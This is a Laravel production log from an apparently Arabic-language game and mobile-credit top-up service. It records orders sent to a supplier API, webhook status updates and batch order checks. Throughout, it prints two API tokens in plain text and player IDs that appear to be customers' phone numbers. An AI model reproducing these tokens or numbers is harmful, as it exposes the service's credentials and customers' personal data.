[2026-03-24 16:34:47] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:34:47] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:34:47] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/56/params?qty=1&uuid=d23a8d5a-ef04-4d86-ba02-bb0f68d3b181&Player_ID=5691695049  
[2026-03-24 16:34:47] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/56/params?qty=1&uuid=d23a8d5a-ef04-4d86-ba02-bb0f68d3b181&Player_ID=5691695049","has_body":false} 
[2026-03-24 16:34:48] production.INFO: Operation sent successfully {"operation_id":163820,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-43FGS0Z-1774359288","amount":22.33800000000000096633812063373625278472900390625,"status":"processing","product":"1500+300UC","game":"PUBG","notes":[],"created_at":"2026-03-24 16:34:48"}},"processed_data":{"order_number":"ORD-43FGS0Z-1774359288","amount":22.33800000000000096633812063373625278472900390625,"status":"processing","product":"1500+300UC","game":"PUBG"}} 
[2026-03-24 16:34:58] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-43FGS0Z-1774359288","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:34:58] production.INFO: Processed webhook data (normalized) {"id":"ORD-43FGS0Z-1774359288","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:34:58] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:34:58] production.INFO: SendAcceptReject: Notification queued {"user_id":69,"notification_type":"order_approved","reference_id":178912} 
[2026-03-24 16:34:58] production.INFO: Order updated successfully. Order ID: 178912, Status: completed  
[2026-03-24 16:34:58] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-43FGS0Z-1774359288","status":"completed","codes_count":0} 
[2026-03-24 16:35:00] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 69  
[2026-03-24 16:35:03] production.INFO: Executing GetProducts task...  
[2026-03-24 16:35:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 16:35:03] production.INFO: Executing GetProducts task...  
[2026-03-24 16:35:05] production.INFO: async() رجع: true  
[2026-03-24 16:35:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 16:35:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 16:35:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 16:35:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 16:35:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 16:35:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 16:35:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 16:35:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 16:35:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 16:35:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 16:35:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 16:36:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"VfwiYjfiAxrI1VFhbEz1jOSi9zvcD7hV","execution_time":"2026-03-24 16:36:04"} 
[2026-03-24 16:36:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"VfwiYjfiAxrI1VFhbEz1jOSi9zvcD7hV","execution_time":"2026-03-24 16:36:04","total_operations":1,"sites_count":1} 
[2026-03-24 16:36:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"VfwiYjfiAxrI1VFhbEz1jOSi9zvcD7hV","execution_time":"2026-03-24 16:36:04","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-vaAee9-1774358736"]} 
[2026-03-24 16:36:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"VfwiYjfiAxrI1VFhbEz1jOSi9zvcD7hV","execution_time":"2026-03-24 16:36:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 16:36:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"VfwiYjfiAxrI1VFhbEz1jOSi9zvcD7hV","execution_time":"2026-03-24 16:36:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 16:36:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"VfwiYjfiAxrI1VFhbEz1jOSi9zvcD7hV","execution_time":"2026-03-24 16:36:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808} 
[2026-03-24 16:36:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"VfwiYjfiAxrI1VFhbEz1jOSi9zvcD7hV","execution_time":"2026-03-24 16:36:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 16:36:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"VfwiYjfiAxrI1VFhbEz1jOSi9zvcD7hV","execution_time":"2026-03-24 16:36:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"processed":0,"errors":0} 
[2026-03-24 16:36:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"VfwiYjfiAxrI1VFhbEz1jOSi9zvcD7hV","execution_time":"2026-03-24 16:36:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808} 
[2026-03-24 16:36:51] production.INFO: Constructing job for order: 178913  
[2026-03-24 16:36:52] production.INFO: Handling job for order: 178913  
[2026-03-24 16:36:52] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:36:52] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:36:52] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/547/params?qty=10000&uuid=fc08c552-7f39-482d-932b-a341d35bb05c&Player_ID=71958910  
[2026-03-24 16:36:52] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/547/params?qty=10000&uuid=fc08c552-7f39-482d-932b-a341d35bb05c&Player_ID=71958910","has_body":false} 
[2026-03-24 16:36:53] production.INFO: Operation sent successfully {"operation_id":163821,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-KedZ-1774359412","amount":1.060407000000000099504404715844430029392242431640625,"status":"processing","product":"SoulStar Amount","game":"SoulStar","notes":[],"created_at":"2026-03-24 16:36:53"}},"processed_data":{"order_number":"ORD-KedZ-1774359412","amount":1.060407000000000099504404715844430029392242431640625,"status":"processing","product":"SoulStar Amount","game":"SoulStar"}} 
[2026-03-24 16:37:00] production.INFO: Constructing job for order: 178914  
[2026-03-24 16:37:02] production.INFO: Handling job for order: 178914  
[2026-03-24 16:37:02] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 16:37:02] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:37:02] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/12/params?qty=1&uuid=350b4760-c6aa-4934-93a1-d07d6a715c87&Player_ID=0955219625  
[2026-03-24 16:37:02] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/12/params?qty=1&uuid=350b4760-c6aa-4934-93a1-d07d6a715c87&Player_ID=0955219625","has_body":false} 
[2026-03-24 16:37:02] production.INFO: Operation sent successfully {"operation_id":163822,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-1V9J-1774359422","amount":211.06720000000001391526893712580204010009765625,"status":"processing","product":"200 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 16:37:02"}},"processed_data":{"order_number":"ORD-1V9J-1774359422","amount":211.06720000000001391526893712580204010009765625,"status":"processing","product":"200 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 16:37:07] production.INFO: Constructing job for order: 178915  
[2026-03-24 16:37:08] production.INFO: Handling job for order: 178915  
[2026-03-24 16:37:08] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 16:37:08] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:37:08] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/34/params?qty=1&uuid=b85473a2-78ea-4e49-8d6e-ee0b252d49a9&Player_ID=0998668272  
[2026-03-24 16:37:08] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/34/params?qty=1&uuid=b85473a2-78ea-4e49-8d6e-ee0b252d49a9&Player_ID=0998668272","has_body":false} 
[2026-03-24 16:37:09] production.INFO: Operation sent successfully {"operation_id":163823,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ZqmY6I-1774359429","amount":47.691519999999997025952325202524662017822265625,"status":"processing","product":"45.19 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 16:37:09"}},"processed_data":{"order_number":"ORD-ZqmY6I-1774359429","amount":47.691519999999997025952325202524662017822265625,"status":"processing","product":"45.19 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 16:37:09] production.INFO: Constructing job for order: 178916  
[2026-03-24 16:37:12] production.INFO: Handling job for order: 178916  
[2026-03-24 16:37:12] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:37:12] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:37:12] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/547/params?qty=20000&uuid=d251345a-ea09-4958-aa5b-6377c9010c1d&Player_ID=62341732  
[2026-03-24 16:37:12] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/547/params?qty=20000&uuid=d251345a-ea09-4958-aa5b-6377c9010c1d&Player_ID=62341732","has_body":false} 
[2026-03-24 16:37:13] production.INFO: Operation sent successfully {"operation_id":163824,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-lYS2sUw-1774359433","amount":2.12081400000000019900880943168886005878448486328125,"status":"processing","product":"SoulStar Amount","game":"SoulStar","notes":[],"created_at":"2026-03-24 16:37:13"}},"processed_data":{"order_number":"ORD-lYS2sUw-1774359433","amount":2.12081400000000019900880943168886005878448486328125,"status":"processing","product":"SoulStar Amount","game":"SoulStar"}} 
[2026-03-24 16:37:21] production.INFO: Constructing job for order: 178917  
[2026-03-24 16:37:22] production.INFO: Handling job for order: 178917  
[2026-03-24 16:37:22] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 16:37:22] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:37:22] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=50d60e84-ace9-48f3-bace-3652852bf50e&Player_ID=0955219625  
[2026-03-24 16:37:22] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=50d60e84-ace9-48f3-bace-3652852bf50e&Player_ID=0955219625","has_body":false} 
[2026-03-24 16:37:23] production.INFO: Operation sent successfully {"operation_id":163825,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-zQE1H-1774359442","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 16:37:23"}},"processed_data":{"order_number":"ORD-zQE1H-1774359442","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 16:37:25] production.INFO: Constructing job for order: 178918  
[2026-03-24 16:37:26] production.INFO: Handling job for order: 178918  
[2026-03-24 16:37:26] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 16:37:26] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:37:26] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=2f148408-0e07-4ca3-958c-694471669ac4&Player_ID=0945459641  
[2026-03-24 16:37:26] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=2f148408-0e07-4ca3-958c-694471669ac4&Player_ID=0945459641","has_body":false} 
[2026-03-24 16:37:26] production.INFO: Operation sent successfully {"operation_id":163826,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-G541i6-1774359446","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 16:37:26"}},"processed_data":{"order_number":"ORD-G541i6-1774359446","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 16:37:31] production.INFO: Constructing job for order: 178919  
[2026-03-24 16:37:32] production.INFO: Handling job for order: 178919  
[2026-03-24 16:37:32] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 16:37:32] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:37:32] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/6/params?qty=1&uuid=795b6e49-886b-4f13-b74f-d61863732fe9&Player_ID=0945459641  
[2026-03-24 16:37:32] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/6/params?qty=1&uuid=795b6e49-886b-4f13-b74f-d61863732fe9&Player_ID=0945459641","has_body":false} 
[2026-03-24 16:37:33] production.INFO: Operation sent successfully {"operation_id":163827,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-KT4NCPi-1774359453","amount":26.38340000000000173940861714072525501251220703125,"status":"processing","product":"25 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 16:37:33"}},"processed_data":{"order_number":"ORD-KT4NCPi-1774359453","amount":26.38340000000000173940861714072525501251220703125,"status":"processing","product":"25 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 16:37:42] production.INFO: Constructing job for order: 178920  
[2026-03-24 16:37:45] production.INFO: Handling job for order: 178920  
[2026-03-24 16:37:45] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 16:37:45] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:37:45] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/2/params?qty=1&uuid=ed5579e1-9118-47cb-94d1-ab956656c230&Player_ID=0955219625  
[2026-03-24 16:37:45] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/2/params?qty=1&uuid=ed5579e1-9118-47cb-94d1-ab956656c230&Player_ID=0955219625","has_body":false} 
[2026-03-24 16:37:46] production.INFO: Operation sent successfully {"operation_id":163828,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-rYWUINh-1774359466","amount":10.5533599999999996299493432161398231983184814453125,"status":"processing","product":"10 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 16:37:46"}},"processed_data":{"order_number":"ORD-rYWUINh-1774359466","amount":10.5533599999999996299493432161398231983184814453125,"status":"processing","product":"10 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 16:37:56] production.INFO: Constructing job for order: 178921  
[2026-03-24 16:37:58] production.INFO: Handling job for order: 178921  
[2026-03-24 16:37:58] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 16:37:58] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:37:58] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/13/params?qty=1&uuid=332505f0-c643-4cea-954c-2af324848b69&Player_ID=0962014573  
[2026-03-24 16:37:58] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/13/params?qty=1&uuid=332505f0-c643-4cea-954c-2af324848b69&Player_ID=0962014573","has_body":false} 
[2026-03-24 16:37:59] production.INFO: Operation sent successfully {"operation_id":163829,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-W4w-1774359478","amount":295.49407999999999674400896765291690826416015625,"status":"processing","product":"280 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 16:37:59"}},"processed_data":{"order_number":"ORD-W4w-1774359478","amount":295.49407999999999674400896765291690826416015625,"status":"processing","product":"280 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 16:38:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"KIW1PT2o9t8OukYLfEIPax7XigWQnogU","execution_time":"2026-03-24 16:38:02"} 
[2026-03-24 16:38:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"KIW1PT2o9t8OukYLfEIPax7XigWQnogU","execution_time":"2026-03-24 16:38:02","total_operations":10,"sites_count":2} 
[2026-03-24 16:38:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"KIW1PT2o9t8OukYLfEIPax7XigWQnogU","execution_time":"2026-03-24 16:38:02","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-vaAee9-1774358736","ORD-KedZ-1774359412","ORD-lYS2sUw-1774359433"]} 
[2026-03-24 16:38:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"KIW1PT2o9t8OukYLfEIPax7XigWQnogU","execution_time":"2026-03-24 16:38:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 16:38:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"KIW1PT2o9t8OukYLfEIPax7XigWQnogU","execution_time":"2026-03-24 16:38:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 16:38:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"KIW1PT2o9t8OukYLfEIPax7XigWQnogU","execution_time":"2026-03-24 16:38:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-KedZ-1774359412","operation_id":163821} 
[2026-03-24 16:38:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"KIW1PT2o9t8OukYLfEIPax7XigWQnogU","execution_time":"2026-03-24 16:38:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-lYS2sUw-1774359433","operation_id":163824} 
[2026-03-24 16:38:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"KIW1PT2o9t8OukYLfEIPax7XigWQnogU","execution_time":"2026-03-24 16:38:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808} 
[2026-03-24 16:38:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"KIW1PT2o9t8OukYLfEIPax7XigWQnogU","execution_time":"2026-03-24 16:38:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"processed":0,"skipped":3,"updates_prepared":0} 
[2026-03-24 16:38:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"KIW1PT2o9t8OukYLfEIPax7XigWQnogU","execution_time":"2026-03-24 16:38:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"processed":0,"errors":0} 
[2026-03-24 16:38:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"KIW1PT2o9t8OukYLfEIPax7XigWQnogU","execution_time":"2026-03-24 16:38:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"orders_count":7,"order_ids":["ORD-1V9J-1774359422","ORD-ZqmY6I-1774359429","ORD-zQE1H-1774359442","ORD-G541i6-1774359446","ORD-KT4NCPi-1774359453","ORD-rYWUINh-1774359466","ORD-W4w-1774359478"]} 
[2026-03-24 16:38:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"KIW1PT2o9t8OukYLfEIPax7XigWQnogU","execution_time":"2026-03-24 16:38:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808} 
[2026-03-24 16:38:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"KIW1PT2o9t8OukYLfEIPax7XigWQnogU","execution_time":"2026-03-24 16:38:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"orders_count":7} 
[2026-03-24 16:38:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"KIW1PT2o9t8OukYLfEIPax7XigWQnogU","execution_time":"2026-03-24 16:38:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-rYWUINh-1774359466","operation_id":163828} 
[2026-03-24 16:38:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"KIW1PT2o9t8OukYLfEIPax7XigWQnogU","execution_time":"2026-03-24 16:38:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-W4w-1774359478","operation_id":163829} 
[2026-03-24 16:38:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"KIW1PT2o9t8OukYLfEIPax7XigWQnogU","execution_time":"2026-03-24 16:38:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZqmY6I-1774359429","operation_id":163823,"processed":5,"skipped":2,"updates_prepared":5} 
[2026-03-24 16:38:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"KIW1PT2o9t8OukYLfEIPax7XigWQnogU","execution_time":"2026-03-24 16:38:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZqmY6I-1774359429","operation_id":163823,"total_items":5,"chunks":1,"chunk_size":10} 
[2026-03-24 16:38:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"KIW1PT2o9t8OukYLfEIPax7XigWQnogU","execution_time":"2026-03-24 16:38:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZqmY6I-1774359429","operation_id":163823,"count":5} 
[2026-03-24 16:38:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"KIW1PT2o9t8OukYLfEIPax7XigWQnogU","execution_time":"2026-03-24 16:38:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZqmY6I-1774359429","operation_id":163823,"count":5} 
[2026-03-24 16:38:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"KIW1PT2o9t8OukYLfEIPax7XigWQnogU","execution_time":"2026-03-24 16:38:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZqmY6I-1774359429","operation_id":163823,"user_id":298,"notification_type":"order_approved","reference_id":178914} 
[2026-03-24 16:38:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"KIW1PT2o9t8OukYLfEIPax7XigWQnogU","execution_time":"2026-03-24 16:38:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZqmY6I-1774359429","operation_id":163823,"user_id":366,"notification_type":"order_approved","reference_id":178918} 
[2026-03-24 16:38:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"KIW1PT2o9t8OukYLfEIPax7XigWQnogU","execution_time":"2026-03-24 16:38:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZqmY6I-1774359429","operation_id":163823,"user_id":366,"notification_type":"order_approved","reference_id":178919} 
[2026-03-24 16:38:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"KIW1PT2o9t8OukYLfEIPax7XigWQnogU","execution_time":"2026-03-24 16:38:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZqmY6I-1774359429","operation_id":163823,"user_id":298,"notification_type":"order_approved","reference_id":178917} 
[2026-03-24 16:38:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"KIW1PT2o9t8OukYLfEIPax7XigWQnogU","execution_time":"2026-03-24 16:38:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZqmY6I-1774359429","operation_id":163823,"user_id":315,"notification_type":"order_approved","reference_id":178915} 
[2026-03-24 16:38:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"KIW1PT2o9t8OukYLfEIPax7XigWQnogU","execution_time":"2026-03-24 16:38:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZqmY6I-1774359429","operation_id":163823,"chunk_number":1,"processed":5,"errors":0,"total_operations":5,"total_orders":5,"total_codes":0,"total_refunds":0} 
[2026-03-24 16:38:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"KIW1PT2o9t8OukYLfEIPax7XigWQnogU","execution_time":"2026-03-24 16:38:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZqmY6I-1774359429","operation_id":163823,"total_processed":5,"total_errors":0,"chunks_processed":1} 
[2026-03-24 16:38:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"KIW1PT2o9t8OukYLfEIPax7XigWQnogU","execution_time":"2026-03-24 16:38:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZqmY6I-1774359429","operation_id":163823,"processed":5,"errors":0} 
[2026-03-24 16:38:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"KIW1PT2o9t8OukYLfEIPax7XigWQnogU","execution_time":"2026-03-24 16:38:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZqmY6I-1774359429","operation_id":163823,"processed":5,"errors":0} 
[2026-03-24 16:38:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"KIW1PT2o9t8OukYLfEIPax7XigWQnogU","execution_time":"2026-03-24 16:38:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZqmY6I-1774359429","operation_id":163823} 
[2026-03-24 16:38:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 298  
[2026-03-24 16:38:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 366  
[2026-03-24 16:38:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 366  
[2026-03-24 16:38:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 298  
[2026-03-24 16:38:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 315  
[2026-03-24 16:38:06] production.INFO: Constructing job for order: 178922  
[2026-03-24 16:38:08] production.INFO: Handling job for order: 178922  
[2026-03-24 16:38:08] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 16:38:08] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:38:08] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=47960f08-9f3c-4d59-862a-a8452eb62fce&Player_ID=0962014573  
[2026-03-24 16:38:08] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=47960f08-9f3c-4d59-862a-a8452eb62fce&Player_ID=0962014573","has_body":false} 
[2026-03-24 16:38:09] production.INFO: Operation sent successfully {"operation_id":163830,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-8vF7-1774359489","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 16:38:09"}},"processed_data":{"order_number":"ORD-8vF7-1774359489","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 16:38:22] production.INFO: Constructing job for order: 178923  
[2026-03-24 16:38:24] production.INFO: Handling job for order: 178923  
[2026-03-24 16:38:24] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:38:24] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:38:24] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=aaf9f1e6-a053-49b0-b4bf-2b3b7369da3c&Player_ID=51406136705  
[2026-03-24 16:38:24] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=aaf9f1e6-a053-49b0-b4bf-2b3b7369da3c&Player_ID=51406136705","has_body":false} 
